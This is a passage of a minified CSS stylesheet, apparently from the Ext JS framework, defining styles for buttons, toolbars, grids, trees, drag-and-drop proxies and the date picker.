.x-btn-icon-medium-left .x-btn-text{ background-position: 0 center; background-repeat: no-repeat; padding-left:26px; height:24px; } .x-btn-text-icon .x-btn-icon-large-left .x-btn-text{ background-position: 0 center; background-repeat: no-repeat; padding-left:34px; height:32px; } /* top */ .x-btn-text-icon .x-btn-icon-small-top .x-btn-text{ background-position: center 0; background-repeat: no-repeat; padding-top:18px; } .x-btn-text-icon .x-btn-icon-medium-top .x-btn-text{ background-position: center 0; background-repeat: no-repeat; padding-top:26px; } .x-btn-text-icon .x-btn-icon-large-top .x-btn-text{ background-position: center 0; background-repeat: no-repeat; padding-top:34px; } /* right */ .x-btn-text-icon .x-btn-icon-small-right .x-btn-text{ background-position: right center; background-repeat: no-repeat; padding-right:18px; height:16px; } .x-btn-text-icon .x-btn-icon-medium-right .x-btn-text{ background-position: right center; background-repeat: no-repeat; padding-right:26px; height:24px; } .x-btn-text-icon .x-btn-icon-large-right .x-btn-text{ background-position: right center; background-repeat: no-repeat; padding-right:34px; height:32px; } /* bottom */ .x-btn-text-icon .x-btn-icon-small-bottom .x-btn-text{ background-position: center bottom; background-repeat: no-repeat; padding-bottom:18px; } .x-btn-text-icon .x-btn-icon-medium-bottom .x-btn-text{ background-position: center bottom; background-repeat: no-repeat; padding-bottom:26px; } .x-btn-text-icon .x-btn-icon-large-bottom .x-btn-text{ background-position: center bottom; background-repeat: no-repeat; padding-bottom:34px; } /* background positioning */ .x-btn-tr i, .x-btn-tl i, .x-btn-mr i, .x-btn-ml i, .x-btn-br i, .x-btn-bl i{ font-size:1px; line-height:1px; width:3px; display:block; overflow:hidden; } .x-btn-tr i, .x-btn-tl i, .x-btn-br i, .x-btn-bl i{ height:3px; } .x-btn-tl{ width:3px; height:3px; background:no-repeat 0 0; } .x-btn-tr{ width:3px; height:3px; background:no-repeat -3px 0; } .x-btn-tc{ height:3px; background:repeat-x 0 -6px; } .x-btn-ml{ width:3px; background:no-repeat 0 -24px; } .x-btn-mr{ width:3px; background:no-repeat -3px -24px; } .x-btn-mc{ background:repeat-x 0 -1096px; vertical-align: middle; text-align:center; padding:0 5px; cursor:pointer; white-space:nowrap; } /* Fixes an issue with the button height */ .ext-strict .ext-ie6 .x-btn-mc, .ext-strict .ext-ie7 .x-btn-mc { height: 100%; } .x-btn-bl{ width:3px; height:3px; background:no-repeat 0 -3px; } .x-btn-br{ width:3px; height:3px; background:no-repeat -3px -3px; } .x-btn-bc{ height:3px; background:repeat-x 0 -15px; } .x-btn-over .x-btn-tl{ background-position: -6px 0; } .x-btn-over .x-btn-tr{ background-position: -9px 0; } .x-btn-over .x-btn-tc{ background-position: 0 -9px; } .x-btn-over .x-btn-ml{ background-position: -6px -24px; } .x-btn-over .x-btn-mr{ background-position: -9px -24px; } .x-btn-over .x-btn-mc{ background-position: 0 -2168px; } .x-btn-over .x-btn-bl{ background-position: -6px -3px; } .x-btn-over .x-btn-br{ background-position: -9px -3px; } .x-btn-over .x-btn-bc{ background-position: 0 -18px; } .x-btn-click .x-btn-tl, .x-btn-menu-active .x-btn-tl, .x-btn-pressed .x-btn-tl{ background-position: -12px 0; } .x-btn-click .x-btn-tr, .x-btn-menu-active .x-btn-tr, .x-btn-pressed .x-btn-tr{ background-position: -15px 0; } .x-btn-click .x-btn-tc, .x-btn-menu-active .x-btn-tc, .x-btn-pressed .x-btn-tc{ background-position: 0 -12px; } .x-btn-click .x-btn-ml, .x-btn-menu-active .x-btn-ml, .x-btn-pressed .x-btn-ml{ background-position: -12px -24px; } .x-btn-click .x-btn-mr, .x-btn-menu-active .x-btn-mr, .x-btn-pressed .x-btn-mr{ background-position: -15px -24px; } .x-btn-click .x-btn-mc, .x-btn-menu-active .x-btn-mc, .x-btn-pressed .x-btn-mc{ background-position: 0 -3240px; } .x-btn-click .x-btn-bl, .x-btn-menu-active .x-btn-bl, .x-btn-pressed .x-btn-bl{ background-position: -12px -3px; } .x-btn-click .x-btn-br, .x-btn-menu-active .x-btn-br, .x-btn-pressed .x-btn-br{ background-position: -15px -3px; } .x-btn-click .x-btn-bc, .x-btn-menu-active .x-btn-bc, .x-btn-pressed .x-btn-bc{ background-position: 0 -21px; } .x-btn-disabled *{ cursor:default !important; } /* With a menu arrow */ /* right */ .x-btn-mc em.x-btn-arrow { display:block; background:transparent no-repeat right center; padding-right:10px; } .x-btn-mc em.x-btn-split { display:block; background:transparent no-repeat right center; padding-right:14px; } /* bottom */ .x-btn-mc em.x-btn-arrow-bottom { display:block; background:transparent no-repeat center bottom; padding-bottom:14px; } .x-btn-mc em.x-btn-split-bottom { display:block; background:transparent no-repeat center bottom; padding-bottom:14px; } /* height adjustment class */ .x-btn-as-arrow .x-btn-mc em { display:block; background-color:transparent; padding-bottom:14px; } /* groups */ .x-btn-group { padding:1px; } .x-btn-group-header { padding:2px; text-align:center; } .x-btn-group-tc { background: transparent repeat-x 0 0; overflow:hidden; } .x-btn-group-tl { background: transparent no-repeat 0 0; padding-left:3px; zoom:1; } .x-btn-group-tr { background: transparent no-repeat right 0; zoom:1; padding-right:3px; } .x-btn-group-bc { background: transparent repeat-x 0 bottom; zoom:1; } .x-btn-group-bc .x-panel-footer { zoom:1; } .x-btn-group-bl { background: transparent no-repeat 0 bottom; padding-left:3px; zoom:1; } .x-btn-group-br { background: transparent no-repeat right bottom; padding-right:3px; zoom:1; } .x-btn-group-mc { border:0 none; padding:1px 0 0 0; margin:0; } .x-btn-group-mc .x-btn-group-body { background-color:transparent; border: 0 none; } .x-btn-group-ml { background: transparent repeat-y 0 0; padding-left:3px; zoom:1; } .x-btn-group-mr { background: transparent repeat-y right 0; padding-right:3px; zoom:1; } .x-btn-group-bc .x-btn-group-footer { padding-bottom:6px; } .x-panel-nofooter .x-btn-group-bc { height:3px; font-size:0; line-height:0; } .x-btn-group-bwrap { overflow:hidden; zoom:1; } .x-btn-group-body { overflow:hidden; zoom:1; } .x-btn-group-notitle .x-btn-group-tc { background: transparent repeat-x 0 0; overflow:hidden; height:2px; }.x-toolbar{ border-style:solid; border-width:0 0 1px 0; display: block; padding:2px; background:repeat-x top left; position:relative; left:0; top:0; zoom:1; overflow:hidden; } .x-toolbar-left { width: 100%; } .x-toolbar .x-item-disabled .x-btn-icon { opacity: .35; -moz-opacity: .35; filter: alpha(opacity=35); } .x-toolbar td { vertical-align:middle; } .x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{ white-space: nowrap; } .x-toolbar .x-item-disabled { cursor:default; opacity:.6; -moz-opacity:.6; filter:alpha(opacity=60); } .x-toolbar .x-item-disabled * { cursor:default; } .x-toolbar .x-toolbar-cell { vertical-align:middle; } .x-toolbar .x-btn-tl, .x-toolbar .x-btn-tr, .x-toolbar .x-btn-tc, .x-toolbar .x-btn-ml, .x-toolbar .x-btn-mr, .x-toolbar .x-btn-mc, .x-toolbar .x-btn-bl, .x-toolbar .x-btn-br, .x-toolbar .x-btn-bc { background-position: 500px 500px; } /* These rules are duplicated from button.css to give priority of x-toolbar rules above */ .x-toolbar .x-btn-over .x-btn-tl{ background-position: -6px 0; } .x-toolbar .x-btn-over .x-btn-tr{ background-position: -9px 0; } .x-toolbar .x-btn-over .x-btn-tc{ background-position: 0 -9px; } .x-toolbar .x-btn-over .x-btn-ml{ background-position: -6px -24px; } .x-toolbar .x-btn-over .x-btn-mr{ background-position: -9px -24px; } .x-toolbar .x-btn-over .x-btn-mc{ background-position: 0 -2168px; } .x-toolbar .x-btn-over .x-btn-bl{ background-position: -6px -3px; } .x-toolbar .x-btn-over .x-btn-br{ background-position: -9px -3px; } .x-toolbar .x-btn-over .x-btn-bc{ background-position: 0 -18px; } .x-toolbar .x-btn-click .x-btn-tl, .x-toolbar .x-btn-menu-active .x-btn-tl, .x-toolbar .x-btn-pressed .x-btn-tl{ background-position: -12px 0; } .x-toolbar .x-btn-click .x-btn-tr, .x-toolbar .x-btn-menu-active .x-btn-tr, .x-toolbar .x-btn-pressed .x-btn-tr{ background-position: -15px 0; } .x-toolbar .x-btn-click .x-btn-tc, .x-toolbar .x-btn-menu-active .x-btn-tc, .x-toolbar .x-btn-pressed .x-btn-tc{ background-position: 0 -12px; } .x-toolbar .x-btn-click .x-btn-ml, .x-toolbar .x-btn-menu-active .x-btn-ml, .x-toolbar .x-btn-pressed .x-btn-ml{ background-position: -12px -24px; } .x-toolbar .x-btn-click .x-btn-mr, .x-toolbar .x-btn-menu-active .x-btn-mr, .x-toolbar .x-btn-pressed .x-btn-mr{ background-position: -15px -24px; } .x-toolbar .x-btn-click .x-btn-mc, .x-toolbar .x-btn-menu-active .x-btn-mc, .x-toolbar .x-btn-pressed .x-btn-mc{ background-position: 0 -3240px; } .x-toolbar .x-btn-click .x-btn-bl, .x-toolbar .x-btn-menu-active .x-btn-bl, .x-toolbar .x-btn-pressed .x-btn-bl{ background-position: -12px -3px; } .x-toolbar .x-btn-click .x-btn-br, .x-toolbar .x-btn-menu-active .x-btn-br, .x-toolbar .x-btn-pressed .x-btn-br{ background-position: -15px -3px; } .x-toolbar .x-btn-click .x-btn-bc, .x-toolbar .x-btn-menu-active .x-btn-bc, .x-toolbar .x-btn-pressed .x-btn-bc{ background-position: 0 -21px; } .x-toolbar div.xtb-text{ padding:2px 2px 0; line-height:16px; display:block; } .x-toolbar .xtb-sep { background-position: center; background-repeat: no-repeat; display: block; font-size: 1px; height: 16px; width:4px; overflow: hidden; cursor:default; margin: 0 2px 0; border:0; } .x-toolbar .xtb-spacer { width:2px; } /* Paging Toolbar */ .x-tbar-page-number{ width:30px; height:14px; } .ext-ie .x-tbar-page-number{ margin-top: 2px; } .x-paging-info { position:absolute; top:5px; right: 8px; } /* floating */ .x-toolbar-ct { width:100%; } .x-toolbar-right td { text-align: center; } .x-panel-tbar, .x-panel-bbar, .x-window-tbar, .x-window-bbar, .x-tab-panel-tbar, .x-tab-panel-bbar, .x-plain-tbar, .x-plain-bbar { overflow:hidden; zoom:1; } .x-toolbar-more .x-btn-small .x-btn-text{ height: 16px; width: 12px; } .x-toolbar-more em.x-btn-arrow { display:inline; background-color:transparent; padding-right:0; } .x-toolbar-more .x-btn-mc em.x-btn-arrow { background-image: none; } div.x-toolbar-no-items { color:gray !important; padding:5px 10px !important; } /* fix ie toolbar form items */ .ext-border-box .x-toolbar-cell .x-form-text { margin-bottom:-1px !important; } .ext-border-box .x-toolbar-cell .x-form-field-wrap .x-form-text { margin:0 !important; } .ext-ie .x-toolbar-cell .x-form-field-wrap { height:21px; } .ext-ie .x-toolbar-cell .x-form-text { position:relative; top:-1px; } .ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-text, .ext-strict .ext-ie .x-toolbar-cell .x-form-text { top: 0px; } .x-toolbar-right td .x-form-field-trigger-wrap{ text-align: left; } .x-toolbar-cell .x-form-checkbox, .x-toolbar-cell .x-form-radio{ margin-top: 5px; } .x-toolbar-cell .x-form-cb-label{ vertical-align: bottom; top: 1px; } .ext-ie .x-toolbar-cell .x-form-checkbox, .ext-ie .x-toolbar-cell .x-form-radio{ margin-top: 4px; } .ext-ie .x-toolbar-cell .x-form-cb-label{ top: 0; } /* Grid3 styles */ .x-grid3 { position:relative; overflow:hidden; } .x-grid-panel .x-panel-body { overflow:hidden !important; } .x-grid-panel .x-panel-mc .x-panel-body { border:1px solid; } .x-grid3 table { table-layout:fixed; } .x-grid3-viewport{ overflow:hidden; } .x-grid3-hd-row td, .x-grid3-row td, .x-grid3-summary-row td{ -moz-outline: none; outline: none; -moz-user-focus: normal; } .x-grid3-row td, .x-grid3-summary-row td { line-height:13px; vertical-align: top; padding-left:1px; padding-right:1px; -moz-user-select: auto; -khtml-user-select: auto; -webkit-user-select: auto; } .x-grid3-cell{ -moz-user-select: auto; -khtml-user-select: auto; -webkit-user-select: auto; } .x-grid3-hd-row td { line-height:15px; vertical-align:middle; border-left:1px solid; border-right:1px solid; } .x-grid3-hd-row .x-grid3-marker-hd { padding:3px; } .x-grid3-row .x-grid3-marker { padding:3px; } .x-grid3-cell-inner, .x-grid3-hd-inner{ overflow:hidden; -o-text-overflow: ellipsis; text-overflow: ellipsis; padding:3px 3px 3px 5px; white-space: nowrap; } /* ActionColumn, reduce padding to accommodate 16x16 icons in normal row height */ .x-action-col-cell .x-grid3-cell-inner { padding-top: 1px; padding-bottom: 1px; } .x-action-col-icon { cursor: pointer; } .x-grid3-hd-inner { position:relative; cursor:inherit; padding:4px 3px 4px 5px; } .x-grid3-row-body { white-space:normal; } .x-grid3-body-cell { -moz-outline:0 none; outline:0 none; } /* IE Quirks to clip */ .ext-ie .x-grid3-cell-inner, .ext-ie .x-grid3-hd-inner{ width:100%; } /* reverse above in strict mode */ .ext-strict .x-grid3-cell-inner, .ext-strict .x-grid3-hd-inner{ width:auto; } .x-grid-row-loading { background: no-repeat center center; } .x-grid-page { overflow:hidden; } .x-grid3-row { cursor: default; border: 1px solid; width:100%; } .x-grid3-row-over { border:1px solid; background: repeat-x left top; } .x-grid3-resize-proxy { width:1px; left:0; cursor: e-resize; cursor: col-resize; position:absolute; top:0; height:100px; overflow:hidden; visibility:hidden; border:0 none; z-index:7; } .x-grid3-resize-marker { width:1px; left:0; position:absolute; top:0; height:100px; overflow:hidden; visibility:hidden; border:0 none; z-index:7; } .x-grid3-focus { position:absolute; left:0; top:0; width:1px; height:1px; line-height:1px; font-size:1px; -moz-outline:0 none; outline:0 none; -moz-user-select: text; -khtml-user-select: text; -webkit-user-select:ignore; } /* header styles */ .x-grid3-header{ background: repeat-x 0 bottom; cursor:default; zoom:1; padding:1px 0 0 0; } .x-grid3-header-pop { border-left:1px solid; float:right; clear:none; } .x-grid3-header-pop-inner { border-left:1px solid; width:14px; height:19px; background: transparent no-repeat center center; } .ext-ie .x-grid3-header-pop-inner { width:15px; } .ext-strict .x-grid3-header-pop-inner { width:14px; } .x-grid3-header-inner { overflow:hidden; zoom:1; float:left; } .x-grid3-header-offset { padding-left:1px; text-align: left; } td.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open { border-left:1px solid; border-right:1px solid; } td.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner { background: repeat-x left bottom; } .x-grid3-sort-icon{ background-repeat: no-repeat; display: none; height: 4px; width: 13px; margin-left:3px; vertical-align: middle; } .sort-asc .x-grid3-sort-icon, .sort-desc .x-grid3-sort-icon { display: inline; } /* Header position fixes for IE strict mode */ .ext-strict .ext-ie .x-grid3-header-inner, .ext-strict .ext-ie6 .x-grid3-hd { position:relative; } .ext-strict .ext-ie6 .x-grid3-hd-inner{ position:static; } /* Body Styles */ .x-grid3-body { zoom:1; } .x-grid3-scroller { overflow:auto; zoom:1; position:relative; } .x-grid3-cell-text, .x-grid3-hd-text { display: block; padding: 3px 5px 3px 5px; -moz-user-select: none; -khtml-user-select: none; -webkit-user-select:ignore; } .x-grid3-split { background-position: center; background-repeat: no-repeat; cursor: e-resize; cursor: col-resize; display: block; font-size: 1px; height: 16px; overflow: hidden; position: absolute; top: 2px; width: 6px; z-index: 3; } /* Column Reorder DD */ .x-dd-drag-proxy .x-grid3-hd-inner{ background: repeat-x left bottom; width:120px; padding:3px; border:1px solid; overflow:hidden; } .col-move-top, .col-move-bottom{ width:9px; height:9px; position:absolute; top:0; line-height:1px; font-size:1px; overflow:hidden; visibility:hidden; z-index:20000; background:transparent no-repeat left top; } /* Selection Styles */ .x-grid3-row-selected { border:1px dotted; } .x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{ background: repeat-x 0 bottom !important; vertical-align:middle !important; padding:0; border-top:1px solid; border-bottom:none !important; border-right:1px solid !important; text-align:center; } .x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{ padding:0 4px; text-align:center; } /* dirty cells */ .x-grid3-dirty-cell { background: transparent no-repeat 0 0; } /* Grid Toolbars */ .x-grid3-topbar, .x-grid3-bottombar{ overflow:hidden; display:none; zoom:1; position:relative; } .x-grid3-topbar .x-toolbar{ border-right:0 none; } .x-grid3-bottombar .x-toolbar{ border-right:0 none; border-bottom:0 none; border-top:1px solid; } /* Props Grid Styles */ .x-props-grid .x-grid3-cell{ padding:1px; } .x-props-grid .x-grid3-td-name .x-grid3-cell-inner{ background:transparent repeat-y -16px !important; padding-left:12px; } .x-props-grid .x-grid3-body .x-grid3-td-name{ padding:1px; padding-right:0; border:0 none; border-right:1px solid; } /* dd */ .x-grid3-col-dd { border:0 none; padding:0; background-color:transparent; } .x-dd-drag-ghost .x-grid3-dd-wrap { padding:1px 3px 3px 1px; } .x-grid3-hd { -moz-user-select:none; -khtml-user-select:none; -webkit-user-select:ignore; } .x-grid3-hd-btn { display:none; position:absolute; width:14px; background:no-repeat left center; right:0; top:0; z-index:2; cursor:pointer; } .x-grid3-hd-over .x-grid3-hd-btn, .x-grid3-hd-menu-open .x-grid3-hd-btn { display:block; } a.x-grid3-hd-btn:hover { background-position:-14px center; } /* Expanders */ .x-grid3-body .x-grid3-td-expander { background:transparent repeat-y right; } .x-grid3-body .x-grid3-td-expander .x-grid3-cell-inner { padding:0 !important; height:100%; } .x-grid3-row-expander { width:100%; height:18px; background-position:4px 2px; background-repeat:no-repeat; background-color:transparent; } .x-grid3-row-collapsed .x-grid3-row-expander { background-position:4px 2px; } .x-grid3-row-expanded .x-grid3-row-expander { background-position:-21px 2px; } .x-grid3-row-collapsed .x-grid3-row-body { display:none !important; } .x-grid3-row-expanded .x-grid3-row-body { display:block !important; } /* Checkers */ .x-grid3-body .x-grid3-td-checker { background:transparent repeat-y right; } .x-grid3-body .x-grid3-td-checker .x-grid3-cell-inner, .x-grid3-header .x-grid3-td-checker .x-grid3-hd-inner { padding:0 !important; height:100%; } .x-grid3-row-checker, .x-grid3-hd-checker { width:100%; height:18px; background-position:2px 2px; background-repeat:no-repeat; background-color:transparent; } .x-grid3-row .x-grid3-row-checker { background-position:2px 2px; } .x-grid3-row-selected .x-grid3-row-checker, .x-grid3-hd-checker-on .x-grid3-hd-checker,.x-grid3-row-checked .x-grid3-row-checker { background-position:-23px 2px; } .x-grid3-hd-checker { background-position:2px 1px; } .ext-border-box .x-grid3-hd-checker { background-position:2px 3px; } .x-grid3-hd-checker-on .x-grid3-hd-checker { background-position:-23px 1px; } .ext-border-box .x-grid3-hd-checker-on .x-grid3-hd-checker { background-position:-23px 3px; } /* Numberer */ .x-grid3-body .x-grid3-td-numberer { background:transparent repeat-y right; } .x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner { padding:3px 5px 0 0 !important; text-align:right; } /* Row Icon */ .x-grid3-body .x-grid3-td-row-icon { background:transparent repeat-y right; vertical-align:top; text-align:center; } .x-grid3-body .x-grid3-td-row-icon .x-grid3-cell-inner { padding:0 !important; background-position:center center; background-repeat:no-repeat; width:16px; height:16px; margin-left:2px; margin-top:3px; } /* All specials */ .x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer, .x-grid3-body .x-grid3-row-selected .x-grid3-td-checker, .x-grid3-body .x-grid3-row-selected .x-grid3-td-expander { background:transparent repeat-y right; } .x-grid3-body .x-grid3-check-col-td .x-grid3-cell-inner { padding: 1px 0 0 0 !important; } .x-grid3-check-col { width:100%; height:16px; background-position:center center; background-repeat:no-repeat; background-color:transparent; } .x-grid3-check-col-on { width:100%; height:16px; background-position:center center; background-repeat:no-repeat; background-color:transparent; } /* Grouping classes */ .x-grid-group, .x-grid-group-body, .x-grid-group-hd { zoom:1; } .x-grid-group-hd { border-bottom: 2px solid; cursor:pointer; padding-top:6px; } .x-grid-group-hd div.x-grid-group-title { background:transparent no-repeat 3px 3px; padding:4px 4px 4px 17px; } .x-grid-group-collapsed .x-grid-group-body { display:none; } .ext-ie6 .x-grid3 .x-editor .x-form-text, .ext-ie7 .x-grid3 .x-editor .x-form-text { position:relative; top:-1px; } .ext-ie .x-props-grid .x-editor .x-form-text { position:static; top:0; } .x-grid-empty { padding:10px; } /* fix floating toolbar issue */ .ext-ie7 .x-grid-panel .x-panel-bbar { position:relative; } /* Reset position to static when Grid Panel has been framed */ /* to resolve 'snapping' from top to bottom behavior. */ /* @forumThread 86656 */ .ext-ie7 .x-grid-panel .x-panel-mc .x-panel-bbar { position: static; } .ext-ie6 .x-grid3-header { position: relative; } /* Fix WebKit bug in Grids */ .ext-webkit .x-grid-panel .x-panel-bwrap{ -webkit-user-select:none; } .ext-webkit .x-tbar-page-number{ -webkit-user-select:ignore; } /* end*/ /* column lines */ .x-grid-with-col-lines .x-grid3-row td.x-grid3-cell { padding-right:0; border-right:1px solid; } .x-pivotgrid .x-grid3-header-offset table { width: 100%; border-collapse: collapse; } .x-pivotgrid .x-grid3-header-offset table td { padding: 4px 3px 4px 5px; text-align: center; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; font-size: 11px; line-height: 13px; font-family: tahoma; } .x-pivotgrid .x-grid3-row-headers { display: block; float: left; } .x-pivotgrid .x-grid3-row-headers table { height: 100%; width: 100%; border-collapse: collapse; } .x-pivotgrid .x-grid3-row-headers table td { height: 18px; padding: 2px 7px 0 0; text-align: right; text-overflow: ellipsis; font-size: 11px; font-family: tahoma; } .ext-gecko .x-pivotgrid .x-grid3-row-headers table td { height: 21px; } .x-grid3-header-title { top: 0%; left: 0%; position: absolute; text-align: center; vertical-align: middle; font-family: tahoma; font-size: 11px; padding: auto 1px; display: table-cell; } .x-grid3-header-title span { position: absolute; top: 50%; left: 0%; width: 100%; margin-top: -6px; }.x-dd-drag-proxy{ position:absolute; left:0; top:0; visibility:hidden; z-index:15000; } .x-dd-drag-ghost{ -moz-opacity: 0.85; opacity:.85; filter: alpha(opacity=85); border: 1px solid; padding:3px; padding-left:20px; white-space:nowrap; } .x-dd-drag-repair .x-dd-drag-ghost{ -moz-opacity: 0.4; opacity:.4; filter: alpha(opacity=40); border:0 none; padding:0; background-color:transparent; } .x-dd-drag-repair .x-dd-drop-icon{ visibility:hidden; } .x-dd-drop-icon{ position:absolute; top:3px; left:3px; display:block; width:16px; height:16px; background-color:transparent; background-position: center; background-repeat: no-repeat; z-index:1; } .x-view-selector { position:absolute; left:0; top:0; width:0; border:1px dotted; opacity: .5; -moz-opacity: .5; filter:alpha(opacity=50); zoom:1; }.ext-strict .ext-ie .x-tree .x-panel-bwrap{ position:relative; overflow:hidden; } .x-tree-icon, .x-tree-ec-icon, .x-tree-elbow-line, .x-tree-elbow, .x-tree-elbow-end, .x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{ border: 0 none; height: 18px; margin: 0; padding: 0; vertical-align: top; width: 16px; background-repeat: no-repeat; } .x-tree-node-collapsed .x-tree-node-icon, .x-tree-node-expanded .x-tree-node-icon, .x-tree-node-leaf .x-tree-node-icon{ border: 0 none; height: 18px; margin: 0; padding: 0; vertical-align: top; width: 16px; background-position:center; background-repeat: no-repeat; } .ext-ie .x-tree-node-indent img, .ext-ie .x-tree-node-icon, .ext-ie .x-tree-ec-icon { vertical-align: middle !important; } .ext-strict .ext-ie8 .x-tree-node-indent img, .ext-strict .ext-ie8 .x-tree-node-icon, .ext-strict .ext-ie8 .x-tree-ec-icon { vertical-align: top !important; } /* checkboxes */ input.x-tree-node-cb { margin-left:1px; height: 19px; vertical-align: bottom; } .ext-ie input.x-tree-node-cb { margin-left:0; margin-top: 1px; width: 16px; height: 16px; vertical-align: middle; } .ext-strict .ext-ie8 input.x-tree-node-cb{ margin: 1px 1px; height: 14px; vertical-align: bottom; } .ext-strict .ext-ie8 input.x-tree-node-cb + a{ vertical-align: bottom; } .ext-opera input.x-tree-node-cb { height: 14px; vertical-align: middle; } .x-tree-noicon .x-tree-node-icon{ width:0; height:0; } /* No line styles */ .x-tree-no-lines .x-tree-elbow{ background-color:transparent; } .x-tree-no-lines .x-tree-elbow-end{ background-color:transparent; } .x-tree-no-lines .x-tree-elbow-line{ background-color:transparent; } /* Arrows */ .x-tree-arrows .x-tree-elbow{ background-color:transparent; } .x-tree-arrows .x-tree-elbow-plus{ background:transparent no-repeat 0 0; } .x-tree-arrows .x-tree-elbow-minus{ background:transparent no-repeat -16px 0; } .x-tree-arrows .x-tree-elbow-end{ background-color:transparent; } .x-tree-arrows .x-tree-elbow-end-plus{ background:transparent no-repeat 0 0; } .x-tree-arrows .x-tree-elbow-end-minus{ background:transparent no-repeat -16px 0; } .x-tree-arrows .x-tree-elbow-line{ background-color:transparent; } .x-tree-arrows .x-tree-ec-over .x-tree-elbow-plus{ background-position:-32px 0; } .x-tree-arrows .x-tree-ec-over .x-tree-elbow-minus{ background-position:-48px 0; } .x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-plus{ background-position:-32px 0; } .x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-minus{ background-position:-48px 0; } .x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{ cursor:pointer; } .ext-ie ul.x-tree-node-ct{ font-size:0; line-height:0; zoom:1; } .x-tree-node{ white-space: nowrap; } .x-tree-node-el { line-height:18px; cursor:pointer; } .x-tree-node a, .x-dd-drag-ghost a{ text-decoration:none; -khtml-user-select:none; -moz-user-select:none; -webkit-user-select:ignore; -kthml-user-focus:normal; -moz-user-focus:normal; -moz-outline: 0 none; outline:0 none; } .x-tree-node a span, .x-dd-drag-ghost a span{ text-decoration:none; padding:1px 3px 1px 2px; } .x-tree-node .x-tree-node-disabled .x-tree-node-icon{ -moz-opacity: 0.5; opacity:.5; filter: alpha(opacity=50); } .x-tree-node .x-tree-node-inline-icon{ background-color:transparent; } .x-tree-node a:hover, .x-dd-drag-ghost a:hover{ text-decoration:none; } .x-tree-node div.x-tree-drag-insert-below{ border-bottom:1px dotted; } .x-tree-node div.x-tree-drag-insert-above{ border-top:1px dotted; } .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below{ border-bottom:0 none; } .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above{ border-top:0 none; } .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{ border-bottom:2px solid; } .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{ border-top:2px solid; } .x-tree-node .x-tree-drag-append a span{ border:1px dotted; } .x-dd-drag-ghost .x-tree-node-indent, .x-dd-drag-ghost .x-tree-ec-icon{ display:none !important; } /* Fix for ie rootVisible:false issue */ .x-tree-root-ct { zoom:1; } .x-date-picker { border: 1px solid; border-top:0 none; position:relative; } .x-date-picker a { -moz-outline:0 none; outline:0 none; } .x-date-inner, .x-date-inner td, .x-date-inner th{ border-collapse:separate; } .x-date-middle,.x-date-left,.x-date-right { background: repeat-x 0 -83px; overflow:hidden; } .x-date-middle .x-btn-tc,.x-date-middle .x-btn-tl,.x-date-middle .x-btn-tr, .x-date-middle .x-btn-mc,.x-date-middle .x-btn-ml,.x-date-middle .x-btn-mr, .x-date-middle .x-btn-bc,.x-date-middle .x-btn-bl,.x-date-middle .x-btn-br{ background:transparent !important; vertical-align:middle; } .x-date-middle .x-btn-mc em.x-btn-arrow { background:transparent no-repeat right 0; } .x-date-right, .x-date-left { width:18px; } .x-date-right{ text-align:right; } .x-date-middle { padding-top:2px; padding-bottom:2px; width:130px; /* FF3 */ } .x-date-right a, .x-date-left a{ display:block; width:16px; height:16px; background-position: center; background-repeat: no-repeat; cursor:pointer; -moz-opacity: 0.6; opacity:.6; filter: alpha(opacity=60); } .x-date-right a:hover, .x-date-left a:hover{ -moz-opacity: 1; opacity:1; filter: alpha(opacity=100); } .x-item-disabled .x-date-right a:hover, .x-item-disabled .x-date-left a:hover{ -moz-opacity: 0.6; opacity:.6; filter: alpha(opacity=60); } .x-date-right a { margin-right:2px; text-decoration:none !important; } .x-date-left a{ margin-left:2px; text-decoration:none !important; } table.x-date-inner { width: 100%; table-layout:fixed; } .ext-webkit table.x-date-inner{ /* Fix for webkit browsers */ width: 175px; } .x-date-inner th { width:25px; } .x-date-inner th { background: repeat-x left top; text-align:right !important; border-bottom: 1px solid; cursor:default; padding:0; border-collapse:separate; } .x-date-inner th span { display:block; padding:2px; padding-right:7px; } .x-date-inner td { border: 1px solid; text-align:right; padding:0; } .x-date-inner a { padding:2px 5px; display:block; text-decoration:none; text-align:right; zoom:1; } .x-date-inner .x-date-active{ cursor:pointer; color:black; } .x-date-inner .x-date-selected a{ background: repeat-x left top; border:1px solid; padding:1px 4px; } .x-date-inner .x-date-today a{ border: 1px solid; padding:1px 4px; } .x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a { text-decoration:none !important; } .x-date-bottom { padding:4px; border-top: 1px solid; background: repeat-x left top; } .x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{ text-decoration:none !important; } .x-item-disabled .x-date-inner a:hover{ background: none; } .x-date-inner .x-date-disabled a { cursor:default; } .x-date-menu .x-menu-item { padding:1px 24px 1px 4px; white-space: nowrap; } .x-date-menu .x-menu-item .x-menu-item-icon { width:10px; height:10px; margin-right:5px; background-position:center -4px !important; } .x-date-mp { position:absolute; left:0; top:0; display:none; } .x-date-mp td { padding:2px; font:normal 11px arial, helvetica,tahoma,sans-serif; } td.x-date-mp-month,td.x-date-mp-year,td.x-date-mp-ybtn { border: 0 none; text-align:center; vertical-align: middle; width:25%; } .x-date-mp-ok { margin-right:3px; } .x-date-mp-btns button { text-decoration:none; text-align:center; text-decoration:none !important; border:1px solid; padding:1px 3px 1px; cursor:pointer; } .x-date-mp-btns { background: repeat-x left top; } .x-date-mp-btns td { border-top: 1px solid; text-align:center; } td.x-date-mp-month 